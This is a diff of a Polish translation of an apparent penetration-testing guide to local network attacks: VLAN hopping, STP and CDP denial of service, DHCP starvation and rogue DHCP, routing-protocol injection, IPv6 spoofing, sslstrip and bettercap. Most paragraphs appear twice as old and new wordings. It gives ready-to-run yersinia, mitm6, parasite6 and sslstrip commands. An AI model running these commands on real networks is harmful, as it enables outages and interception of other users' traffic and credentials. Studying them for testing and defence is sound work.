Domyślnie porty przełącznika są ustawione na tryb Dynamic Auto, co oznacza, że są gotowe do inicjowania trunkingu, jeśli zostaną o to poproszone przez sąsiedni przełącznik. Problem bezpieczeństwa pojawia się, gdy pentester lub atakujący łączy się z przełącznikiem i wysyła ramkę DTP Desirable, zmuszając port do przejścia w tryb trunk. Działanie to umożliwia atakującemu enumerację VLAN-ów poprzez analizę ramek STP i obejście segmentacji VLAN, tworząc wirtualne interfejsy.
@ -275,11 +275,11 @@ yersinia -G #For graphic mode
```
![](<../../images/image (269).png>)
Aby enumerować VLANy, można również wygenerować ramkę DTP Desirable za pomocą skryptu [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**ie przerywaj skryptu w żadnych okolicznościach. Wstrzykuje DTP Desirable co trzy sekundy. **Dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.**
Aby enumerować VLAN-y, można również wygenerować ramkę DTP Desirable za pomocą skryptu [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**ie przerywaj skryptu w żadnych okolicznościach. Wstrzykuje DTP Desirable co trzy sekundy. **Dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.**
```
sudo python3 DTPHijacking.py --interface eth0
```
Chciałbym zwrócić uwagę, że **Access/Desirable (0x03)** wskazuje, że ramka DTP jest typu Desirable, co informuje port o przełączeniu w tryb Trunk. A **802.1Q/802.1Q (0xa5)** wskazuje typ enkapsulacji **802.1Q**.
Chciałbym zwrócić uwagę, że **Access/Desirable (0x03)** wskazuje, że ramka DTP jest typu Desirable, co nakazuje portowi przełączenie się w tryb Trunk. A **802.1Q/802.1Q (0xa5)** wskazuje typ enkapsulacji **802.1Q**.
Analizując ramki STP, **dowiadujemy się o istnieniu VLAN 30 i VLAN 60.**
@ -323,13 +323,13 @@ sudo dhclient -v eth0.30
```
#### Automatic VLAN Hopper
Dyskutowany atak **Dynamic Trunking i tworzenie wirtualnych interfejsów oraz odkrywanie hostów wewnątrz** innych VLAN-ów jest **automatycznie wykonywany** przez narzędzie: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
Dyskusja na temat ataku **Dynamic Trunking i tworzenia wirtualnych interfejsów oraz odkrywania hostów wewnątrz** innych VLANów jest **automatycznie wykonywana** przez narzędzie: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### Double Tagging
Jeśli atakujący zna wartość **MAC, IP i VLAN ID ofiary**, może spróbować **podwójnie oznaczyć ramkę** jej przypisanym VLAN-em oraz VLAN-em ofiary i wysłać pakiet. Ponieważ **ofiara nie będzie mogła połączyć się z powrotem** z atakującym, **najlepszą opcją dla atakującego jest komunikacja za pomocą UDP** do protokołów, które mogą wykonać interesujące akcje (jak SNMP).
Jeśli atakujący zna wartość **MAC, IP i VLAN ID of the victim host**, może spróbować **podwójnie otagować ramkę** jej przypisanym VLANem oraz VLANem ofiary i wysłać pakiet. Ponieważ **ofiara nie będzie mogła połączyć się z powrotem** z atakującym, **najlepszą opcją dla atakującego jest komunikacja za pomocą UDP** do protokołów, które mogą wykonać interesujące akcje (jak SNMP).
Inną opcją dla atakującego jest przeprowadzenie **skanowania portów TCP, podszywając się pod IP kontrolowane przez atakującego i dostępne dla ofiary** (prawdopodobnie przez internet). Następnie atakujący mógłby podsłuchiwać na drugim hoście, który mu należy, jeśli otrzyma jakieś pakiety od ofiary.
Inną opcją dla atakującego jest przeprowadzenie **skanowania portów TCP, podszywając się pod IP kontrolowane przez atakującego i dostępne przez ofiarę** (prawdopodobnie przez internet). Następnie atakujący mógłby podsłuchiwać na drugim hoście, który mu należy, jeśli otrzyma jakieś pakiety od ofiary.
![](<../../images/image (190).png>)
@ -366,7 +366,7 @@ VTP (VLAN Trunking Protocol) centralizuje zarządzanie VLAN. Wykorzystuje numery
#### VTP Domain Roles
- **VTP Server:** Zarządza VLAN-ami—tworzy, usuwa, modyfikuje. Rozsyła ogłoszenia VTP do członków domeny.
- **VTP Client:** Odbiera ogłoszenia VTP, aby zsynchronizować swoją bazę danych VLAN. Ta rola jest ograniczona w zakresie lokalnych modyfikacji konfiguracji VLAN.
- **VTP Client:** Otrzymuje ogłoszenia VTP, aby zsynchronizować swoją bazę danych VLAN. Ta rola jest ograniczona w zakresie lokalnych modyfikacji konfiguracji VLAN.
- **VTP Transparent:** Nie angażuje się w aktualizacje VTP, ale przekazuje ogłoszenia VTP. Nie jest dotknięty atakami VTP, utrzymuje stały numer rewizji równy zero.
#### VTP Advertisement Types
@ -381,7 +381,7 @@ Uwaga: Ta dyskusja dotyczy wersji VTP 1 (VTPv1).
````bash
%% yersinia -G # Launch Yersinia in graphical mode ```
````
W trybie graficznym Yersinii wybierz opcję usunięcia wszystkich VLAN-ów VTP, aby wyczyścić bazę danych VLAN.
W trybie graficznym Yersinii wybierz opcję usunięcia wszystkich VLAN-ów VTP, aby oczyścić bazę danych VLAN.
### Ataki STP
@ -389,7 +389,7 @@ W trybie graficznym Yersinii wybierz opcję usunięcia wszystkich VLAN-ów VTP,
#### **STP BPDU DoS**
Wysyłając dużą liczbę BPDUs TCP (Powiadomienie o zmianie topologii) lub Conf (BPDUs, które są wysyłane, gdy topologia jest tworzona), przełączniki są przeciążone i przestają działać poprawnie.
Wysyłając dużą liczbę ramek BPDU TCP (Powiadomienie o zmianie topologii) lub Conf (ramki BPDU, które są wysyłane, gdy topologia jest tworzona), przełączniki są przeciążone i przestają działać poprawnie.
```bash
yersinia stp -attack 2
yersinia stp -attack 3
@ -404,8 +404,8 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```
#### **Atak STP Root**
Atakujący symuluje zachowanie przełącznika, aby stać się korzeniem STP w sieci. Wtedy więcej danych będzie przechodzić przez niego. Jest to interesujące, gdy jesteś podłączony do dwóch różnych przełączników.\
To osiąga się, wysyłając pakiety BPDUs CONF, mówiące, że wartość **priorytetu** jest mniejsza niż rzeczywisty priorytet rzeczywistego przełącznika root.
Napastnik symuluje zachowanie przełącznika, aby stać się korzeniem STP w sieci. Wtedy więcej danych będzie przechodzić przez niego. To jest interesujące, gdy jesteś podłączony do dwóch różnych przełączników.\
To osiąga się poprzez wysyłanie pakietów BPDUs CONF, mówiących, że wartość **priorytetu** jest mniejsza niż rzeczywisty priorytet rzeczywistego przełącznika root.
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
@ -421,9 +421,9 @@ CISCO Discovery Protocol (CDP) jest niezbędny do komunikacji między urządzeni
#### Pasywne zbieranie danych <a href="#id-0e0f" id="id-0e0f"></a>
CDP jest skonfigurowany do nadawania informacji przez wszystkie porty, co może prowadzić do ryzyka bezpieczeństwa. Atakujący, podłączając się do portu przełącznika, może wdrożyć analizatory sieciowe, takie jak **Wireshark**, **tcpdump** lub **Yersinia**. Działanie to może ujawnić wrażliwe dane o urządzeniu sieciowym, w tym jego model i wersję Cisco IOS, którą obsługuje. Atakujący może następnie celować w konkretne luki w zidentyfikowanej wersji Cisco IOS.
CDP jest skonfigurowany do nadawania informacji przez wszystkie porty, co może prowadzić do ryzyka bezpieczeństwa. Atakujący, podłączając się do portu przełącznika, może wdrożyć sniffery sieciowe, takie jak **Wireshark**, **tcpdump** lub **Yersinia**. Działanie to może ujawnić wrażliwe dane o urządzeniu sieciowym, w tym jego model i wersję Cisco IOS, którą obsługuje. Atakujący może następnie celować w konkretne luki w zidentyfikowanej wersji Cisco IOS.
#### Wymuszanie zalewania tabeli CDP <a href="#id-0d6a" id="id-0d6a"></a>
#### Wzbudzanie zalewania tabeli CDP <a href="#id-0d6a" id="id-0d6a"></a>
Bardziej agresywne podejście polega na przeprowadzeniu ataku typu Denial of Service (DoS) poprzez przytłoczenie pamięci przełącznika, udając legalne urządzenia CISCO. Poniżej znajduje się sekwencja poleceń do rozpoczęcia takiego ataku przy użyciu Yersinia, narzędzia sieciowego zaprojektowanego do testowania:
```bash
@ -431,7 +431,7 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
# Alternatively, for a GUI approach:
sudo yersinia -G
```
Podczas tego ataku CPU przełącznika i tabela sąsiadów CDP są mocno obciążone, co prowadzi do tego, co często określa się jako **„paraliż sieci”** z powodu nadmiernego zużycia zasobów.
Podczas tego ataku, CPU przełącznika i tabela sąsiadów CDP są mocno obciążone, co prowadzi do tego, co często określa się jako **„paraliż sieci”** z powodu nadmiernego zużycia zasobów.
#### Atak na podszywanie się pod CDP
```bash
@ -444,7 +444,7 @@ Możesz również użyć [**scapy**](https://github.com/secdev/scapy/). Upewnij
Telefony VoIP, coraz bardziej zintegrowane z urządzeniami IoT, oferują funkcje takie jak odblokowywanie drzwi czy kontrolowanie termostatów za pomocą specjalnych numerów telefonów. Jednak ta integracja może stwarzać zagrożenia dla bezpieczeństwa.
Narzędzie [**voiphopper**](http://voiphopper.sourceforge.net) jest zaprojektowane do emulacji telefonu VoIP w różnych środowiskach (Cisco, Avaya, Nortel, Alcatel-Lucent). Odkrywa identyfikator VLAN sieci głosowej za pomocą protokołów takich jak CDP, DHCP, LLDP-MED i 802.1Q ARP.
Narzędzie [**voiphopper**](http://voiphopper.sourceforge.net) zostało zaprojektowane do emulacji telefonu VoIP w różnych środowiskach (Cisco, Avaya, Nortel, Alcatel-Lucent). Odkrywa identyfikator VLAN sieci głosowej za pomocą protokołów takich jak CDP, DHCP, LLDP-MED i 802.1Q ARP.
**VoIP Hopper** oferuje trzy tryby dla protokołu Cisco Discovery Protocol (CDP):
@ -457,7 +457,7 @@ Preferowanym trybem dla szybkości jest trzeci. Wymaga on określenia:
- Interfejsu sieciowego atakującego (`-i` parameter).
- Nazwy emulowanego urządzenia VoIP (`-E` parameter), zgodnie z formatem nazewnictwa Cisco (np. SEP, a następnie adres MAC).
W środowiskach korporacyjnych, aby naśladować istniejące urządzenie VoIP, można:
W środowisku korporacyjnym, aby naśladować istniejące urządzenie VoIP, można:
- Sprawdzić etykietę MAC na telefonie.
- Przejść do ustawień wyświetlacza telefonu, aby zobaczyć informacje o modelu.
@ -490,7 +490,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
**DoS**
**Dwa typy DoS** mogą być przeprowadzone przeciwko serwerom DHCP. Pierwszy z nich polega na **symulowaniu wystarczającej liczby fałszywych hostów, aby wykorzystać wszystkie możliwe adresy IP**.\
Ten atak zadziała tylko wtedy, gdy możesz zobaczyć odpowiedzi serwera DHCP i zakończyć protokół (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Na przykład, **to nie jest możliwe w sieciach Wifi**.
Atak ten zadziała tylko wtedy, gdy możesz zobaczyć odpowiedzi serwera DHCP i zakończyć protokół (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Na przykład, **nie jest to możliwe w sieciach Wifi**.
Innym sposobem przeprowadzenia DoS DHCP jest wysłanie **pakietu DHCP-RELEASE, używając jako kodu źródłowego każdego możliwego adresu IP**. Wtedy serwer pomyśli, że wszyscy zakończyli korzystanie z adresu IP.
```bash
@ -503,7 +503,7 @@ Możesz użyć wspomnianych ataków DoS, aby zmusić klientów do uzyskania nowy
#### Ustaw złośliwe wartości
Nielegalny serwer DHCP można skonfigurować za pomocą skryptu DHCP znajdującego się w `/usr/share/responder/DHCP.py`. Jest to przydatne w atakach sieciowych, takich jak przechwytywanie ruchu HTTP i poświadczeń, poprzez przekierowywanie ruchu do złośliwego serwera. Jednak ustawienie nielegalnej bramy jest mniej skuteczne, ponieważ pozwala tylko na przechwytywanie ruchu wychodzącego od klienta, pomijając odpowiedzi z prawdziwej bramy. Zamiast tego zaleca się skonfigurowanie nielegalnego serwera DNS lub WPAD dla bardziej skutecznego ataku.
Nielegalny serwer DHCP można skonfigurować za pomocą skryptu DHCP znajdującego się w `/usr/share/responder/DHCP.py`. Jest to przydatne w atakach sieciowych, takich jak przechwytywanie ruchu HTTP i poświadczeń, poprzez przekierowywanie ruchu do złośliwego serwera. Jednak ustawienie nielegalnej bramy jest mniej skuteczne, ponieważ pozwala jedynie na przechwytywanie ruchu wychodzącego z klienta, pomijając odpowiedzi z prawdziwej bramy. Zamiast tego zaleca się skonfigurowanie nielegalnego serwera DNS lub WPAD dla bardziej skutecznego ataku.
Poniżej znajdują się opcje poleceń do skonfigurowania nielegalnego serwera DHCP:
@ -514,7 +514,7 @@ Poniżej znajdują się opcje poleceń do skonfigurowania nielegalnego serwera D
- **Adres IP drugiego serwera DNS**: Opcjonalnie użyj `-s 10.0.0.1`, aby ustawić adres IP drugiego serwera DNS.
- **Maska podsieci lokalnej**: Użyj `-n 255.255.255.0`, aby zdefiniować maskę podsieci dla lokalnej sieci.
- **Interfejs dla ruchu DHCP**: Użyj `-I eth1`, aby nasłuchiwać ruchu DHCP na określonym interfejsie sieciowym.
- **Adres konfiguracji WPAD**: Użyj `-w “http://10.0.0.100/wpad.dat”`, aby ustawić adres dla konfiguracji WPAD, wspomagając przechwytywanie ruchu sieciowego.
- **Adres konfiguracji WPAD**: Użyj `-w “http://10.0.0.100/wpad.dat”`, aby ustawić adres dla konfiguracji WPAD, co pomoże w przechwytywaniu ruchu sieciowego.
- **Fałszowanie adresu IP domyślnej bramy**: Dodaj `-S`, aby sfałszować adres IP domyślnej bramy.
- **Odpowiadanie na wszystkie żądania DHCP**: Dodaj `-R`, aby serwer odpowiadał na wszystkie żądania DHCP, ale bądź świadomy, że jest to głośne i może być wykryte.
@ -539,7 +539,7 @@ eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
```
### Ataki FHRP (GLBP i HSRP) <a href="#id-6196" id="id-6196"></a>
**FHRP** (First Hop Redundancy Protocol) to klasa protokołów sieciowych zaprojektowanych w celu **utworzenia gorącego systemu redundancji routingu**. Dzięki FHRP fizyczne routery mogą być łączone w jeden logiczny urządzenie, co zwiększa tolerancję na błędy i pomaga rozłożyć obciążenie.
**FHRP** (First Hop Redundancy Protocol) to klasa protokołów sieciowych zaprojektowanych w celu **stworzenia gorącego systemu redundancji routingu**. Dzięki FHRP fizyczne routery mogą być łączone w jeden logiczny urządzenie, co zwiększa tolerancję na błędy i pomaga rozłożyć obciążenie.
**Inżynierowie Cisco Systems opracowali dwa protokoły FHRP, GLBP i HSRP.**
@ -549,20 +549,20 @@ glbp-and-hsrp-attacks.md
### RIP
Znane są trzy wersje protokołu Routing Information Protocol (RIP): RIP, RIPv2 i RIPng. Datagramy są wysyłane do partnerów za pośrednictwem portu 520 przy użyciu UDP przez RIP i RIPv2, podczas gdy datagramy są rozgłaszane do portu UDP 521 za pośrednictwem multicastu IPv6 przez RIPng. Obsługa uwierzytelniania MD5 została wprowadzona przez RIPv2. Z drugiej strony, natywne uwierzytelnianie nie jest włączone w RIPng; zamiast tego polega się na opcjonalnych nagłówkach IPsec AH i ESP w IPv6.
Znane są trzy wersje protokołu Routing Information Protocol (RIP): RIP, RIPv2 i RIPng. Datagramy są wysyłane do sąsiadów przez port 520 przy użyciu UDP przez RIP i RIPv2, podczas gdy datagramy są rozgłaszane do portu UDP 521 za pomocą multicastu IPv6 przez RIPng. Obsługa uwierzytelniania MD5 została wprowadzona przez RIPv2. Z drugiej strony, natywne uwierzytelnianie nie jest włączone w RIPng; zamiast tego polega się na opcjonalnych nagłówkach IPsec AH i ESP w IPv6.
- **RIP i RIPv2:** Komunikacja odbywa się za pomocą datagramów UDP na porcie 520.
- **RIPng:** Wykorzystuje port UDP 521 do rozgłaszania datagramów za pośrednictwem multicastu IPv6.
- **RIPng:** Wykorzystuje port UDP 521 do rozgłaszania datagramów za pomocą multicastu IPv6.
Należy zauważyć, że RIPv2 obsługuje uwierzytelnianie MD5, podczas gdy RIPng nie zawiera natywnego uwierzytelniania, polegając na nagłówkach IPsec AH i ESP w IPv6.
### Ataki EIGRP
**EIGRP (Enhanced Interior Gateway Routing Protocol)** to dynamiczny protokół routingu. **Jest to protokół wektorowy odległości.** Jeśli nie ma **uwierzytelniania** i konfiguracji pasywnych interfejsów, **intruz** może zakłócić routowanie EIGRP i spowodować **zatrucie tabel routingu**. Ponadto sieć EIGRP (innymi słowy, autonomiczny system) **jest płaska i nie ma segmentacji na żadne strefy**. Jeśli **atakujący wstrzyknie trasę**, istnieje duże prawdopodobieństwo, że ta trasa **rozprzestrzeni się** w całym autonomicznym systemie EIGRP.
**EIGRP (Enhanced Interior Gateway Routing Protocol)** to dynamiczny protokół routingu. **Jest to protokół wektorowy odległości.** Jeśli nie ma **uwierzytelniania** i konfiguracji interfejsów pasywnych, **intruz** może zakłócić routing EIGRP i spowodować **zatrucie tabel routingu**. Ponadto sieć EIGRP (innymi słowy, autonomiczny system) **jest płaska i nie ma segmentacji na żadne strefy**. Jeśli **atakujący wstrzyknie trasę**, istnieje duże prawdopodobieństwo, że ta trasa **rozprzestrzeni się** w całym autonomicznym systemie EIGRP.
Aby zaatakować system EIGRP, należy **nawiązać sąsiedztwo z legalnym routerem EIGRP**, co otwiera wiele możliwości, od podstawowego rozpoznania po różne wstrzyknięcia.
[**FRRouting**](https://frrouting.org/) pozwala na wdrożenie **wirtualnego routera, który obsługuje BGP, OSPF, EIGRP, RIP i inne protokoły.** Wystarczy wdrożyć go na systemie atakującego, a można faktycznie udawać legalny router w domenie routingu.
[**FRRouting**](https://frrouting.org/) pozwala na wdrożenie **wirtualnego routera, który obsługuje BGP, OSPF, EIGRP, RIP i inne protokoły.** Wystarczy wdrożyć go na systemie atakującego, a można udawać legalny router w domenie routingu.
{{#ref}}
eigrp-attacks.md
@ -572,10 +572,10 @@ eigrp-attacks.md
### OSPF
W protokole Open Shortest Path First (OSPF) **powszechnie stosuje się uwierzytelnianie MD5, aby zapewnić bezpieczną komunikację między routerami**. Jednak ten środek bezpieczeństwa może być naruszony za pomocą narzędzi takich jak Loki i John the Ripper. Narzędzia te są w stanie przechwytywać i łamać hashe MD5, ujawniając klucz uwierzytelniający. Po uzyskaniu tego klucza można go użyć do wprowadzenia nowych informacji o trasie. Aby skonfigurować parametry trasy i ustawić skompromitowany klucz, wykorzystywane są odpowiednio zakładki _Injection_ i _Connection_.
W protokole Open Shortest Path First (OSPF) **powszechnie stosuje się uwierzytelnianie MD5, aby zapewnić bezpieczną komunikację między routerami**. Jednak ten środek bezpieczeństwa może być naruszony za pomocą narzędzi takich jak Loki i John the Ripper. Narzędzia te są w stanie przechwytywać i łamać hashe MD5, ujawniając klucz uwierzytelniający. Po uzyskaniu tego klucza można go użyć do wprowadzenia nowych informacji routingu. Aby skonfigurować parametry trasy i ustawić skompromitowany klucz, wykorzystywane są odpowiednio zakładki _Injection_ i _Connection_.
- **Przechwytywanie i łamanie hashy MD5:** Narzędzia takie jak Loki i John the Ripper są używane do tego celu.
- **Konfigurowanie parametrów trasy:** Odbywa się to za pośrednictwem zakładki _Injection_.
- **Konfigurowanie parametrów trasy:** Odbywa się to za pomocą zakładki _Injection_.
- **Ustawianie skompromitowanego klucza:** Klucz jest konfigurowany w zakładce _Connection_.
### Inne narzędzia i źródła ogólne
@ -592,11 +592,11 @@ yersinia dhcp -attack 2 #More parameters are needed
```
### ARP Spoofing
Sprawdź [poprzednią sekcję](./#arp-spoofing).
Sprawdź [poprzednią sekcję](#arp-spoofing).
### ICMPRedirect
ICMP Redirect polega na wysyłaniu pakietu ICMP typu 1 kod 5, który wskazuje, że atakujący jest najlepszym sposobem dotarcia do adresu IP. Następnie, gdy ofiara chce skontaktować się z adresem IP, wyśle pakiet przez atakującego.
ICMP Redirect polega na wysyłaniu pakietu ICMP typu 1 kod 5, który wskazuje, że atakujący jest najlepszym sposobem dotarcia do danego adresu IP. Następnie, gdy ofiara chce skontaktować się z tym adresem IP, wyśle pakiet przez atakującego.
```bash
Ettercap
icmp_redirect
@ -615,7 +615,7 @@ dig @localhost domain.example.com # Test the configured DNS
```
### Lokalne bramy
Często istnieje wiele tras do systemów i sieci. Po zbudowaniu listy adresów MAC w lokalnej sieci, użyj _gateway-finder.py_, aby zidentyfikować hosty, które obsługują przekazywanie IPv4.
Wiele tras do systemów i sieci często istnieje. Po zbudowaniu listy adresów MAC w lokalnej sieci, użyj _gateway-finder.py_, aby zidentyfikować hosty, które obsługują przekazywanie IPv4.
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
@ -637,18 +637,18 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
W przypadku lokalnego rozwiązywania hostów, gdy zapytania DNS są nieudane, systemy Microsoftu polegają na **Link-Local Multicast Name Resolution (LLMNR)** oraz **NetBIOS Name Service (NBT-NS)**. Podobnie, **Apple Bonjour** i implementacje **Linux zero-configuration** wykorzystują **Multicast DNS (mDNS)** do odkrywania systemów w sieci. Z powodu nieautoryzowanej natury tych protokołów i ich działania przez UDP, wysyłając wiadomości, mogą być wykorzystywane przez atakujących, którzy mają na celu przekierowanie użytkowników do złośliwych usług.
Możesz podszyć się pod usługi, które są wyszukiwane przez hosty, używając Respondera do wysyłania fałszywych odpowiedzi.\
Przeczytaj tutaj więcej informacji o tym, [jak podszyć się pod usługi z Responderem](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
Możesz podszywać się pod usługi, które są wyszukiwane przez hosty, używając Respondera do wysyłania fałszywych odpowiedzi.\
Przeczytaj tutaj więcej informacji o tym, [jak podszywać się pod usługi za pomocą Respondera](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Przeglądarki powszechnie wykorzystują **protokół Web Proxy Auto-Discovery (WPAD) do automatycznego pozyskiwania ustawień proxy**. Obejmuje to pobieranie szczegółów konfiguracyjnych z serwera, konkretnie przez URL taki jak "http://wpad.example.org/wpad.dat". Odkrycie tego serwera przez klientów może odbywać się za pomocą różnych mechanizmów:
- Poprzez **DHCP**, gdzie odkrycie jest ułatwione przez wykorzystanie specjalnego kodu 252.
- Przez **DHCP**, gdzie odkrycie jest ułatwione przez wykorzystanie specjalnego kodu 252.
- Przez **DNS**, co polega na wyszukiwaniu nazwy hosta oznaczonej jako _wpad_ w lokalnej domenie.
- Za pomocą **Microsoft LLMNR i NBT-NS**, które są mechanizmami zapasowymi używanymi w przypadkach, gdy zapytania DNS nie powiodą się.
- Poprzez **Microsoft LLMNR i NBT-NS**, które są mechanizmami zapasowymi używanymi w przypadkach, gdy zapytania DNS nie powiodą się.
Narzędzie Responder wykorzystuje ten protokół, działając jako **złośliwy serwer WPAD**. Używa DHCP, DNS, LLMNR i NBT-NS, aby wprowadzić klientów w błąd, zmuszając ich do połączenia się z nim. Aby zgłębić, jak można podszyć się pod usługi za pomocą Respondera, [sprawdź to](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
Narzędzie Responder wykorzystuje ten protokół, działając jako **złośliwy serwer WPAD**. Używa DHCP, DNS, LLMNR i NBT-NS, aby wprowadzić klientów w błąd, zmuszając ich do połączenia się z nim. Aby zgłębić, jak można podszywać się pod usługi za pomocą Respondera, [sprawdź to](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
@ -661,7 +661,7 @@ Ten atak jest bardzo podobny do ARP Spoofing, ale w świecie IPv6. Możesz spraw
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```
### Spoofing/Flooding Reklamacji Routera IPv6
### IPv6 Router Advertisement Spoofing/Flooding
Niektóre systemy operacyjne domyślnie konfigurują bramę na podstawie pakietów RA wysyłanych w sieci. Aby zadeklarować atakującego jako router IPv6, możesz użyć:
```bash
@ -671,7 +671,7 @@ fake_router6 wlan0 fe80::01/16
```
### IPv6 DHCP spoofing
Domyślnie niektóre systemy operacyjne próbują skonfigurować DNS, odczytując pakiet DHCPv6 w sieci. Wtedy atakujący może wysłać pakiet DHCPv6, aby skonfigurować się jako DNS. DHCP zapewnia również ofierze adres IPv6.
Domyślnie niektóre systemy operacyjne próbują skonfigurować DNS, odczytując pakiet DHCPv6 w sieci. Wtedy atakujący może wysłać pakiet DHCPv6, aby skonfigurować się jako DNS. DHCP również zapewnia ofierze adres IPv6.
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
@ -680,11 +680,11 @@ mitm6
```
### HTTP (fałszywa strona i wstrzykiwanie kodu JS)
## Ataki w Internecie
## Ataki internetowe
### sslStrip
W zasadzie to, co robi ten atak, to w przypadku, gdy **użytkownik** próbuje **uzyskać dostęp** do strony **HTTP**, która jest **przekierowywana** na wersję **HTTPS**. **sslStrip** **utrzymuje** połączenie **HTTP z** **klientem** i połączenie **HTTPS z** **serwerem**, dzięki czemu będzie w stanie **podsłuchiwać** połączenie w **czystym tekście**.
W zasadzie to, co robi ten atak, to w przypadku, gdy **użytkownik** próbuje **uzyskać dostęp** do strony **HTTP**, która jest **przekierowywana** na wersję **HTTPS**. **sslStrip** będzie **utrzymywać** połączenie **HTTP z** **klientem** i połączenie **HTTPS z** **serwerem**, dzięki czemu będzie w stanie **podsłuchiwać** połączenie w **czystym tekście**.
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -699,23 +699,23 @@ Więcej informacji [tutaj](https://www.blackhat.com/presentations/bh-dc-09/Marli
**Różnica** między **sslStrip+ a dns2proxy** a **sslStrip** polega na tym, że będą **przekierowywać** na przykład _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (zauważ **dodatkowe** "**w**") i ustawią **adres tej domeny jako IP atakującego**. W ten sposób **klient** będzie **łączyć się** z _**wwww.facebook.com**_ **(atakujący)**, ale w tle **sslstrip+** będzie **utrzymywać** **prawdziwe połączenie** przez https z **www.facebook.com**.
**Celem** tej techniki jest **unikanie HSTS**, ponieważ _**wwww**.facebook.com_ **nie będzie** zapisane w **pamięci podręcznej** przeglądarki, więc przeglądarka zostanie oszukana, aby wykonać **autoryzację facebooka w HTTP**.\
**Celem** tej techniki jest **unikanie HSTS**, ponieważ _**wwww**.facebook.com_ **nie będzie** zapisane w **pamięci podręcznej** przeglądarki, więc przeglądarka zostanie oszukana, aby wykonać **uwierzytelnienie facebooka w HTTP**.\
Zauważ, że aby przeprowadzić ten atak, ofiara musi najpierw spróbować uzyskać dostęp do [http://www.faceook.com](http://www.faceook.com), a nie https. Można to zrobić, modyfikując linki wewnątrz strony http.
Więcej informacji [tutaj](https://www.bettercap.org/legacy/#hsts-bypass), [tutaj](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) i [tutaj](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip lub sslStrip+ nie działają już. Dzieje się tak, ponieważ w przeglądarkach są zapisane zasady HSTS, więc nawet jeśli to pierwszy raz, gdy użytkownik uzyskuje dostęp do "ważnej" domeny, uzyska do niej dostęp przez HTTPS. Zauważ również, że zapisane zasady i inne generowane zasady mogą używać flagi** [**`includeSubdomains`**](https://hstspreload.appspot.com) **więc przykład** _**wwww.facebook.com**_ **z poprzedniego nie zadziała, ponieważ** _**facebook.com**_ **używa HSTS z `includeSubdomains`.**
**sslStrip lub sslStrip+ już nie działają. Dzieje się tak, ponieważ w przeglądarkach są zapisane zasady HSTS, więc nawet jeśli to pierwszy raz, gdy użytkownik uzyskuje dostęp do "ważnej" domeny, uzyska do niej dostęp przez HTTPS. Zauważ również, że zapisane zasady i inne generowane zasady mogą używać flagi** [**`includeSubdomains`**](https://hstspreload.appspot.com) **więc przykład _**wwww.facebook.com**_ **z poprzedniego nie zadziała, ponieważ** _**facebook.com**_ **używa HSTS z `includeSubdomains`.**
TODO: easy-creds, evilgrade, metasploit, factory
## TCP nasłuch na porcie
## Nasłuchiwanie TCP na porcie
```bash
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
```
## TCP + SSL nasłuch na porcie
#### Wygeneruj klucze i certyfikat samopodpisany
#### Generowanie kluczy i certyfikatu samopodpisanego
```
FILENAME=server
# Generate a public/private key pair:
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
Czasami, jeśli klient sprawdzi, że CA jest ważne, możesz **serwować certyfikat innej nazwy hosta podpisany przez CA**.\
Innym interesującym testem jest **serwowanie certyfikatu żądanej nazwy hosta, ale samopodpisanego**.
Inne rzeczy do przetestowania to próba podpisania certyfikatu ważnym certyfikatem, który nie jest ważnym CA. Lub użycie ważnego klucza publicznego, wymuszenie użycia algorytmu takiego jak Diffie-Hellman (takiego, który nie wymaga odszyfrowania czegokolwiek za pomocą prawdziwego klucza prywatnego) i gdy klient zażąda próby prawdziwego klucza prywatnego (jak hasz), wysłanie fałszywej próby i oczekiwanie, że klient tego nie sprawdzi.
Inne rzeczy do przetestowania to próba podpisania certyfikatu ważnym certyfikatem, który nie jest ważnym CA. Lub użycie ważnego klucza publicznego, wymuszenie użycia algorytmu takiego jak Diffie-Hellman (takiego, który nie wymaga odszyfrowania czegokolwiek za pomocą prawdziwego klucza prywatnego) i gdy klient poprosi o próbkę prawdziwego klucza prywatnego (jak hasz), wysłanie fałszywej próbki i oczekiwanie, że klient tego nie sprawdzi.
## Bettercap
```bash
@ -766,7 +766,7 @@ wifi.recon on; wifi.ap
```
### Notatki dotyczące aktywnego odkrywania
